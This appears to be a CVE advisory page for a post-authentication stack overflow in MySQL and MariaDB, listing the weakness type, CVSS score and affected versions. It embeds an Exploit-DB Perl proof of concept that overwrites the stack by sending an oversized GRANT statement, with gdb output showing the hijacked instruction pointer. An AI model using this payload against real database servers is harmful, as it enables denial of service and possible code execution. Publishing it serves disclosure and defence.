Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.5 |
|
AV:N/AC:L/Au:S/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 23075
Publication date : 2012-12-01
23h00 +00:00
Author : kingcope
EDB Verified : No
#!/usr/bin/perl
=for comment
MySQL Server exploitable stack based overrun
Ver 5.5.19-log for Linux and below (tested with Ver 5.1.53-log for suse-linux-gnu too)
unprivileged user (any account (anonymous account?), post auth)
as illustrated below the instruction pointer is overwritten with 0x41414141
bug found by Kingcope
this will yield a shell as the user 'mysql' when properly exploited
mysql@linux-lsd2:/root> gdb -c /var/lib/mysql/core
GNU gdb (GDB) SUSE (7.2-3.3)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-suse-linux".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Missing separate debuginfo for the main executable file
Try: zypper install -C "debuginfo(build-id)=768fdbea8f1bf1f7cfb34c7f532f7dd0bdd76803"
[New Thread 8801]
[New Thread 8789]
[New Thread 8793]
[New Thread 8791]
[New Thread 8787]
[New Thread 8790]
[New Thread 8799]
[New Thread 8794]
[New Thread 8792]
[New Thread 8788]
[New Thread 8800]
[New Thread 8786]
[New Thread 8797]
[New Thread 8798]
[New Thread 8785]
[New Thread 8796]
[New Thread 8783]
Core was generated by `/usr/local/mysql/bin/mysqld --log=/tmp/mysqld.log'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb)
=cut
use strict;
use DBI();
# Connect to the database.
my $dbh = DBI->connect("DBI:mysql:database=test;host=192.168.2.3;",
"user", "secret",
{'RaiseError' => 1});
$a ="A" x 100000;
my $sth = $dbh->prepare("grant file on $a.* to 'user'\@'%' identified by 'secret';");
$sth->execute();
# Disconnect from the database.
$dbh->disconnect();
Products Mentioned
Configuraton 0
Mariadb>>Mariadb >> Version 5.1.41
Mariadb>>Mariadb >> Version 5.1.42
Mariadb>>Mariadb >> Version 5.1.44
Mariadb>>Mariadb >> Version 5.1.47
Mariadb>>Mariadb >> Version 5.1.49
Mariadb>>Mariadb >> Version 5.1.50
Mariadb>>Mariadb >> Version 5.1.51
Mariadb>>Mariadb >> Version 5.1.53
Mariadb>>Mariadb >> Version 5.1.55
Mariadb>>Mariadb >> Version 5.1.60
Mariadb>>Mariadb >> Version 5.1.61
Mariadb>>Mariadb >> Version 5.1.62
Mariadb>>Mariadb >> Version 5.2.0
Mariadb>>Mariadb >> Version 5.2.1
Mariadb>>Mariadb >> Version 5.2.2
Mariadb>>Mariadb >> Version 5.2.3
Mariadb>>Mariadb >> Version 5.2.4
Mariadb>>Mariadb >> Version 5.2.5
Mariadb>>Mariadb >> Version 5.2.6
Mariadb>>Mariadb >> Version 5.2.7
Mariadb>>Mariadb >> Version 5.2.8
Mariadb>>Mariadb >> Version 5.2.9
Mariadb>>Mariadb >> Version 5.2.10
Mariadb>>Mariadb >> Version 5.2.11
Mariadb>>Mariadb >> Version 5.2.12
Mariadb>>Mariadb >> Version 5.3.0
Mariadb>>Mariadb >> Version 5.3.1
Mariadb>>Mariadb >> Version 5.3.2
Mariadb>>Mariadb >> Version 5.3.3
Mariadb>>Mariadb >> Version 5.3.4
Mariadb>>Mariadb >> Version 5.3.5
Mariadb>>Mariadb >> Version 5.3.6
Mariadb>>Mariadb >> Version 5.3.7
Mariadb>>Mariadb >> Version 5.3.8
Mariadb>>Mariadb >> Version 5.3.9
Mariadb>>Mariadb >> Version 5.3.10
Mariadb>>Mariadb >> Version 5.5.20
Mariadb>>Mariadb >> Version 5.5.21
Mariadb>>Mariadb >> Version 5.5.22
Mariadb>>Mariadb >> Version 5.5.23
Mariadb>>Mariadb >> Version 5.5.24
Mariadb>>Mariadb >> Version 5.5.25
Mariadb>>Mariadb >> Version 5.5.27
Mariadb>>Mariadb >> Version 5.5.28
Oracle>>Mysql >> Version 5.1.53
Oracle>>Mysql >> Version 5.5.19
Linux>>Linux_kernel >> Version -
References